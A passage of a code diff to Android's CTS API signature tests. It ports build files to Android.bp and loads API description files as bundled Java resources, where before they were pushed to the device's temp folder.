+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsHiddenApiKillswitchWildcardTestCases",
+ defaults: ["hiddenapi-killswitch-check-defaults"],
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.mk b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.mk
deleted file mode 100644
index ab0eef9..0000000
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiKillswitchWildcardTestCases
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
index c13d4bb..3747831 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.killswitch_wildcard">
+ package="android.signature.cts.api.killswitch_wildcard"
+ android:targetSandboxVersion="2">
<application android:debuggable="true"
android:extractNativeLibs="true"
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
index ef41dcc..0363684 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
@@ -16,7 +16,7 @@
<configuration description="Config for CTS Hidden API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<!-- Enable the killswitch before running the test, then disable it afterwards. The test
diff --git a/tests/signature/api-check/shared-libs-api/Android.mk b/tests/signature/api-check/shared-libs-api/Android.mk
index ee3e962..d4d36fb 100644
--- a/tests/signature/api-check/shared-libs-api/Android.mk
+++ b/tests/signature/api-check/shared-libs-api/Android.mk
@@ -22,16 +22,15 @@
$(foreach api_level,public system,\
$(foreach lib,$(filter-out android,$(filter-out %removed,\
$(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt))))),\
- $(eval all_shared_libs_modules += $(lib)-$(ver)-$(api_level).api))))
+ $(eval all_shared_libs_modules += $(lib)-$(ver)-$(api_level).txt))))
all_shared_libs_files := $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(all_shared_libs_modules))
include $(CLEAR_VARS)
-LOCAL_MODULE := cts-shared-libs-all.api
-LOCAL_MODULE_STEM := shared-libs-all.api.zip
+LOCAL_MODULE := cts-shared-libs-all.txt
+LOCAL_MODULE_STEM := shared-libs-all.txt.zip
LOCAL_MODULE_CLASS := ETC
LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
include $(BUILD_SYSTEM)/base_rules.mk
$(LOCAL_BUILT_MODULE): $(SOONG_ZIP)
$(LOCAL_BUILT_MODULE): PRIVATE_SHARED_LIBS_FILES := $(all_shared_libs_files)
@@ -39,7 +38,9 @@
@echo "Zip API files $^ -> $@"
@mkdir -p $(dir $@)
$(hide) rm -f $@
- $(hide) $(SOONG_ZIP) -o $@ -C . $(addprefix -f ,$(PRIVATE_SHARED_LIBS_FILES))
+ $(hide) $(SOONG_ZIP) -o $@ -P out -C $(OUT_DIR) $(addprefix -f ,$(PRIVATE_SHARED_LIBS_FILES))
+
+all_shared_libs_zip_file := $(LOCAL_BUILT_MODULE)
include $(CLEAR_VARS)
@@ -62,9 +63,7 @@
LOCAL_PACKAGE_NAME := CtsSharedLibsApiSignatureTestCases
-LOCAL_SIGNATURE_API_FILES := \
- shared-libs-all.api.zip \
- $(all_shared_libs_modules)
+LOCAL_JAVA_RESOURCE_FILES := $(all_shared_libs_zip_file)
LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-multilib-test
@@ -73,4 +72,4 @@
LOCAL_JAVA_SDK_LIBRARIES :=
all_shared_libs_files :=
all_shared_libs_modules :=
-
+all_shared_libs_zip_file :=
diff --git a/tests/signature/api-check/shared-libs-api/AndroidManifest.xml b/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
index 5bdec66..00ddd9a 100644
--- a/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
+++ b/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.shared_libs">
+ package="android.signature.cts.api.shared_libs"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
diff --git a/tests/signature/api-check/shared-libs-api/AndroidTest.xml b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
index 29262ca..09a9168 100644
--- a/tests/signature/api-check/shared-libs-api/AndroidTest.xml
+++ b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
@@ -16,15 +16,8 @@
<configuration description="Config for CTS Shared Libraries API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="shared-libs-all.api.zip->/data/local/tmp/signature-test/shared-libs-all.api.zip" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSharedLibsApiSignatureTestCases.apk" />
@@ -33,7 +26,7 @@
<option name="package" value="android.signature.cts.api.shared_libs" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.SignatureMultiLibsTest" />
- <option name="instrumentation-arg" key="expected-api-files" value="shared-libs-all.api.zip" />
+ <option name="instrumentation-arg" key="expected-api-files" value="shared-libs-all.txt.zip" />
<option name="runtime-hint" value="30s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
index c04f7ccb..5499119 100644
--- a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
+++ b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
@@ -18,13 +18,11 @@
import android.signature.cts.ApiComplianceChecker;
import android.signature.cts.ApiDocumentParser;
-import java.io.File;
-import java.io.FileInputStream;
+import android.signature.cts.VirtualPath;
+import android.signature.cts.VirtualPath.LocalFilePath;
import java.io.IOException;
-import java.io.InputStream;
import java.util.Arrays;
import java.util.stream.Stream;
-import java.util.zip.ZipFile;
import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
@@ -48,7 +46,7 @@
ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
- parseApiFilesAsStream(apiDocumentParser, expectedApiFiles)
+ parseApiResourcesAsStream(apiDocumentParser, expectedApiFiles)
.forEach(complianceChecker::checkSignatureCompliance);
// After done parsing all expected API files, perform any deferred checks.
@@ -70,21 +68,9 @@
return getLibraries().anyMatch(libraryName::equals);
}
- protected Stream<InputStream> readFile(File file) {
- try {
- if (file.getName().endsWith(".zip")) {
- ZipFile zip = new ZipFile(file);
- return zip.stream().filter(entry -> checkLibrary(entry.getName())).map(entry -> {
- try {
- return zip.getInputStream(entry);
- } catch (IOException e) {
- throw new RuntimeException(e);
- }});
- } else {
- return Stream.of(new FileInputStream(file));
- }
- } catch (IOException e) {
- throw new RuntimeException(e);
- }
+ @Override
+ protected Stream<VirtualPath> getZipEntryFiles(LocalFilePath path) throws IOException {
+ // Only return entries corresponding to shared libraries.
+ return super.getZipEntryFiles(path).filter(p -> checkLibrary(p.toString()));
}
}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
index 4167c9c..7e8c6d6 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
@@ -21,8 +21,11 @@
import android.signature.cts.ExcludingClassProvider;
import android.signature.cts.FailureType;
import android.signature.cts.JDiffClassDescription;
+import android.signature.cts.VirtualPath;
+import android.signature.cts.VirtualPath.LocalFilePath;
+import android.signature.cts.VirtualPath.ResourcePath;
+import android.util.Log;
import java.io.File;
-import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
@@ -30,22 +33,20 @@
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.nio.file.Files;
+import java.nio.file.Path;
import java.nio.file.StandardOpenOption;
import java.util.EnumSet;
-import java.util.HashSet;
-import java.util.Set;
import java.util.stream.Stream;
import java.util.zip.ZipFile;
-import org.xmlpull.v1.XmlPullParserException;
import repackaged.android.test.InstrumentationTestCase;
import repackaged.android.test.InstrumentationTestRunner;
-import static android.signature.cts.CurrentApi.API_FILE_DIRECTORY;
-
/**
*/
public class AbstractApiTest extends InstrumentationTestCase {
+ private static final String TAG = "SignatureTest";
+
private TestResultObserver mResultObserver;
ClassProvider classProvider;
@@ -109,63 +110,63 @@
return argument.split(",");
}
- Stream<Object> readFileOptimized(File file) {
+ private Stream<VirtualPath> readResource(String resourceName) {
try {
- if (file.getName().endsWith(".zip")) {
- @SuppressWarnings("resource")
- ZipFile zip = new ZipFile(file);
- return zip.stream().map(entry -> {
- try {
- return zip.getInputStream(entry);
- } catch (IOException e) {
- throw new RuntimeException(e);
- }
- });
+ ResourcePath resourcePath =
+ VirtualPath.get(getClass().getClassLoader(), resourceName);
+ if (resourceName.endsWith(".zip")) {
+ // Extract to a temporary file and read from there.
+ Path file = extractResourceToFile(resourceName, resourcePath.newInputStream());
+ return flattenPaths(VirtualPath.get(file.toString()));
} else {
- try (FileChannel fileChannel = (FileChannel) Files.newByteChannel(file.toPath(),
- EnumSet.of(StandardOpenOption.READ))) {
- ByteBuffer mappedByteBuffer = fileChannel.map(FileChannel.MapMode.READ_ONLY, 0,
- fileChannel.size());
- if (mappedByteBuffer == null) {
- throw new IllegalStateException("Could not map " + file);
- }
- return Stream.of(mappedByteBuffer);
- }
- }
- } catch (IOException e) {
- throw new RuntimeException(e);
- }
- }
- Stream<InputStream> readFile(File file) {
- try {
- if (file.getName().endsWith(".zip")) {
- @SuppressWarnings("resource")
- ZipFile zip = new ZipFile(file);
- return zip.stream().map(entry -> {
- try {
- return zip.getInputStream(entry);
- } catch (IOException e) {
- throw new RuntimeException(e);
- }});
- } else {
- return Stream.of(new FileInputStream(file));
+ return Stream.of(resourcePath);
}
} catch (IOException e) {
throw new RuntimeException(e);
}
}
- Stream<JDiffClassDescription> parseApiFilesAsStream(
- ApiDocumentParser apiDocumentParser, String[] apiFiles) {
- return Stream.of(apiFiles)
- .map(name -> new File(API_FILE_DIRECTORY + "/" + name))
- .flatMap(this::readFile)
- .flatMap(stream -> {
- try {
- return apiDocumentParser.parseAsStream(stream);
- } catch (IOException | XmlPullParserException e) {
- throw new RuntimeException(e);
- }
- });
+ Path extractResourceToFile(String resourceName, InputStream is) throws IOException {
+ Path tempDirectory = Files.createTempDirectory("signature");
+ Path file = tempDirectory.resolve(resourceName);
+ Log.i(TAG, "extractResourceToFile: extracting " + resourceName + " to " + file);
+ Files.copy(is, file);
+ is.close();
+ return file;
+ }
+
+ /**
+ * Given a path in the local file system (possibly of a zip file) flatten it into a stream of
+ * virtual paths.
+ */
+ private Stream<VirtualPath> flattenPaths(LocalFilePath path) {
+ try {
+ if (path.toString().endsWith(".zip")) {
+ return getZipEntryFiles(path);
+ } else {
+ return Stream.of(path);
+ }
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ Stream<JDiffClassDescription> parseApiResourcesAsStream(
+ ApiDocumentParser apiDocumentParser, String[] apiResources) {
+ return Stream.of(apiResources)
+ .flatMap(this::readResource)
+ .flatMap(apiDocumentParser::parseAsStream);
+ }
+
+ /**
+ * Get the zip entries that are files.
+ *
+ * @param path the path to the zip file.
+ * @return paths to zip entries
+ */
+ protected Stream<VirtualPath> getZipEntryFiles(LocalFilePath path) throws IOException {
+ @SuppressWarnings("resource")
+ ZipFile zip = new ZipFile(path.toFile());
+ return zip.stream().map(entry -> VirtualPath.get(zip, entry));
}
}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 8efa483..32ab3e9 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -16,8 +16,6 @@
package android.signature.cts.api;
-import static android.signature.cts.CurrentApi.API_FILE_DIRECTORY;
-
import android.os.Bundle;
import android.signature.cts.DexApiDocumentParser;
import android.signature.cts.DexField;
@@ -25,8 +23,15 @@
import android.signature.cts.DexMemberChecker;
import android.signature.cts.DexMethod;
import android.signature.cts.FailureType;
+import android.signature.cts.VirtualPath;
-import java.io.File;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.channels.FileChannel;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.StandardOpenOption;
+import java.util.EnumSet;
import java.util.function.Predicate;
import java.util.stream.Stream;
@@ -39,7 +44,7 @@
private String[] hiddenapiTestFlags;
@Override
- protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
+ protected void initializeFromArgs(Bundle instrumentationArgs) {
hiddenapiFiles = getCommaSeparatedList(instrumentationArgs, "hiddenapi-files");
hiddenapiTestFlags = getCommaSeparatedList(instrumentationArgs, "hiddenapi-test-flags");
}
@@ -136,7 +141,7 @@
}
}
};
- parseDexApiFilesAsStream(hiddenapiFiles)
+ parseDexApiResourcesAsStream(hiddenapiFiles)
.filter(memberFilter)
.forEach(dexMember -> {
if (shouldTestMember(dexMember)) {
@@ -147,14 +152,13 @@
});
}
- private Stream<DexMember> parseDexApiFilesAsStream(String[] apiFiles) {
+ private Stream<DexMember> parseDexApiResourcesAsStream(String[] apiFiles) {
DexApiDocumentParser dexApiDocumentParser = new DexApiDocumentParser();
// To allow parallelization with a DexMember output type, we need two
// pipes.
Stream<Stream<DexMember>> inputsAsStreams = Stream.of(apiFiles).parallel()
- .map(name -> new File(API_FILE_DIRECTORY + "/" + name))
- .flatMap(file -> readFileOptimized(file))
- .map(obj -> dexApiDocumentParser.parseAsStream(obj));
+ .flatMap(this::readResourceOptimized)
+ .map(dexApiDocumentParser::parseAsStream);
// The flatMap inherently serializes the pipe. The number of inputs is
// still small here, so reduce by concatenating (note the caveats of
// concats).
@@ -166,6 +170,31 @@
});
}
+ private Stream<Object> readResourceOptimized(String resourceName) {
+ try {
+ VirtualPath.ResourcePath resourcePath =
+ VirtualPath.get(getClass().getClassLoader(), resourceName);
+ // Extract to a temporary file and read from there. Accessing it via an InputStream
+ // directly is too slow because the file has to be read serially and that results in
+ // the tests taking too long. Saving it as a file allows it to be mapped as a
+ // ByteBuffer and processed in parallel.
+ Path file = extractResourceToFile(resourceName, resourcePath.newInputStream());
+
+ // Map the file into a ByteBuffer, see http://b/123986482 for some background.
+ try (FileChannel fileChannel = (FileChannel) Files.newByteChannel(file,
+ EnumSet.of(StandardOpenOption.READ))) {
+ ByteBuffer mappedByteBuffer = fileChannel.map(FileChannel.MapMode.READ_ONLY, 0,
+ fileChannel.size());
+ if (mappedByteBuffer == null) {
+ throw new IllegalStateException("Could not map " + file);
+ }
+ return Stream.of(mappedByteBuffer);
+ }
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
private boolean shouldTestMember(DexMember member) {
for (String testFlag : hiddenapiTestFlags) {
for (String memberFlag : member.getHiddenapiFlags()) {
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
index 7861df7..937d074 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
@@ -23,13 +23,11 @@
import android.signature.cts.FailureType;
import android.signature.cts.JDiffClassDescription;
import android.signature.cts.ReflectionHelper;
-import java.io.IOException;
import java.util.Comparator;
import java.util.Set;
import java.util.TreeSet;
import java.util.function.Predicate;
import java.util.stream.Collectors;
-import org.xmlpull.v1.XmlPullParserException;
/**
* Performs the signature check via a JUnit test.
@@ -43,7 +41,7 @@
private String[] unexpectedApiFiles;
@Override
- protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
+ protected void initializeFromArgs(Bundle instrumentationArgs) {
expectedApiFiles = getCommaSeparatedList(instrumentationArgs, "expected-api-files");
baseApiFiles = getCommaSeparatedList(instrumentationArgs, "base-api-files");
unexpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "unexpected-api-files");
@@ -75,7 +73,7 @@
ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
- parseApiFilesAsStream(apiDocumentParser, expectedApiFiles)
+ parseApiResourcesAsStream(apiDocumentParser, expectedApiFiles)
.filter(not(unexpectedClasses::contains))
.forEach(complianceChecker::checkSignatureCompliance);
@@ -97,11 +95,9 @@
}
}
- private Set<JDiffClassDescription> loadUnexpectedClasses()
- throws IOException, XmlPullParserException {
-
+ private Set<JDiffClassDescription> loadUnexpectedClasses() {
ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
- return parseApiFilesAsStream(apiDocumentParser, unexpectedApiFiles)
+ return parseApiResourcesAsStream(apiDocumentParser, unexpectedApiFiles)
.collect(Collectors.toCollection(SignatureTest::newSetOfClassDescriptions));
}
@@ -109,12 +105,9 @@
return new TreeSet<>(Comparator.comparing(JDiffClassDescription::getAbsoluteClassName));
}
- private void loadBaseClasses(ApiComplianceChecker complianceChecker)
- throws IOException, XmlPullParserException {
-
- ApiDocumentParser apiDocumentParser =
- new ApiDocumentParser(TAG);
- parseApiFilesAsStream(apiDocumentParser, baseApiFiles)
+ private void loadBaseClasses(ApiComplianceChecker complianceChecker) {
+ ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
+ parseApiResourcesAsStream(apiDocumentParser, baseApiFiles)
.forEach(complianceChecker::addBaseClass);
}
}
diff --git a/tests/signature/api-check/system-annotation/Android.bp b/tests/signature/api-check/system-annotation/Android.bp
new file mode 100644
index 0000000..b423593
--- /dev/null
+++ b/tests/signature/api-check/system-annotation/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsSystemApiAnnotationTestCases",
+ defaults: [
+ "signature-api-check-defaults",
+ ],
+ static_libs: [
+ "compatibility-device-util-axt",
+ ],
+ java_resources: [
+ ":cts-system-current-txt",
+ ":cts-system-removed-txt",
+ ":cts-car-system-current-txt",
+ ":cts-car-system-removed-txt",
+ ],
+ min_sdk_version: "27",
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/system-annotation/Android.mk b/tests/signature/api-check/system-annotation/Android.mk
deleted file mode 100644
index be48a5c..0000000
--- a/tests/signature/api-check/system-annotation/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSystemApiAnnotationTestCases
-LOCAL_SRC_FILES := $(call all-java-files-under,src)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
-LOCAL_SIGNATURE_API_FILES := \
- system-current.api \
- system-removed.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/system-annotation/AndroidManifest.xml b/tests/signature/api-check/system-annotation/AndroidManifest.xml
index 34a12c4..13258c2 100644
--- a/tests/signature/api-check/system-annotation/AndroidManifest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidManifest.xml
@@ -16,11 +16,12 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.system_annotation">
+ package="android.signature.cts.api.system_annotation"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
- <uses-sdk android:targetSdkVersion="28" />
+ <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28" />
<application android:debuggable="true"
android:extractNativeLibs="true"
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 286eea3..70db574 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -16,18 +16,8 @@
<configuration description="Config for CTS System Current API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="system-removed.api->/data/local/tmp/signature-test/system-removed.api" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSystemApiAnnotationTestCases.apk" />
@@ -36,7 +26,7 @@
<option name="package" value="android.signature.cts.api.system_annotation" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.AnnotationTest" />
- <option name="instrumentation-arg" key="expected-api-files" value="system-current.api,system-removed.api" />
+ <option name="instrumentation-arg" key="expected-api-files" value="system-current.txt,system-removed.txt,car-system-current.txt,car-system-removed.txt" />
<option name="instrumentation-arg" key="annotation-for-exact-match" value="android.annotation.SystemApi" />
<option name="runtime-hint" value="30s" />
</test>
diff --git a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
index b94300f..78f114b 100644
--- a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
+++ b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
@@ -53,7 +53,7 @@
ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
- parseApiFilesAsStream(apiDocumentParser, expectedApiFiles)
+ parseApiResourcesAsStream(apiDocumentParser, expectedApiFiles)
.forEach(complianceChecker::checkSignatureCompliance);
// After done parsing all expected API files, perform any deferred checks.
diff --git a/tests/signature/api-check/system-api/Android.mk b/tests/signature/api-check/system-api/Android.mk
index 5f7d3f9..7605f85 100644
--- a/tests/signature/api-check/system-api/Android.mk
+++ b/tests/signature/api-check/system-api/Android.mk
@@ -14,17 +14,17 @@
LOCAL_PATH := $(call my-dir)
-all_system_api_modules := system-current.api system-removed.api
+all_system_api_modules :=
$(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
$(if $(call math_is_number,$(ver)),\
- $(eval all_system_api_modules += system-$(ver).api)\
+ $(eval all_system_api_modules += system-$(ver).txt)\
)\
)
all_system_api_files := $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(all_system_api_modules))
include $(CLEAR_VARS)
-LOCAL_MODULE := cts-system-all.api
-LOCAL_MODULE_STEM := system-all.api.zip
+LOCAL_MODULE := cts-system-all.txt
+LOCAL_MODULE_STEM := system-all.txt.zip
LOCAL_MODULE_CLASS := ETC
LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
@@ -35,20 +35,25 @@
@echo "Zip API files $^ -> $@"
@mkdir -p $(dir $@)
$(hide) rm -f $@
- $(hide) $(SOONG_ZIP) -o $@ -C . $(addprefix -f ,$(PRIVATE_SYSTEM_API_FILES))
+ $(hide) $(SOONG_ZIP) -o $@ -P out -C $(OUT_DIR) $(addprefix -f ,$(PRIVATE_SYSTEM_API_FILES))
+
+all_system_api_zip_file := $(LOCAL_BUILT_MODULE)
include $(CLEAR_VARS)
LOCAL_PACKAGE_NAME := CtsSystemApiSignatureTestCases
+LOCAL_JAVA_RESOURCE_FILES := $(all_system_api_zip_file)
+
LOCAL_SIGNATURE_API_FILES := \
- current.api \
- android-test-mock-current.api \
- android-test-runner-current.api \
- $(all_sytem_api_modules) \
- system-all.api.zip
+ current.txt \
+ android-test-mock-current.txt \
+ android-test-runner-current.txt \
+ system-current.txt \
+ system-removed.txt \
include $(LOCAL_PATH)/../build_signature_apk.mk
all_system_api_files :=
all_system_api_modules :=
+all_system_api_zip_file :=
diff --git a/tests/signature/api-check/system-api/AndroidManifest.xml b/tests/signature/api-check/system-api/AndroidManifest.xml
index c32a63a..7906164 100644
--- a/tests/signature/api-check/system-api/AndroidManifest.xml
+++ b/tests/signature/api-check/system-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.system">
+ package="android.signature.cts.api.system"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
diff --git a/tests/signature/api-check/system-api/AndroidTest.xml b/tests/signature/api-check/system-api/AndroidTest.xml
index 397e72b..3368b77 100644
--- a/tests/signature/api-check/system-api/AndroidTest.xml
+++ b/tests/signature/api-check/system-api/AndroidTest.xml
@@ -16,19 +16,8 @@
<configuration description="Config for CTS System API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
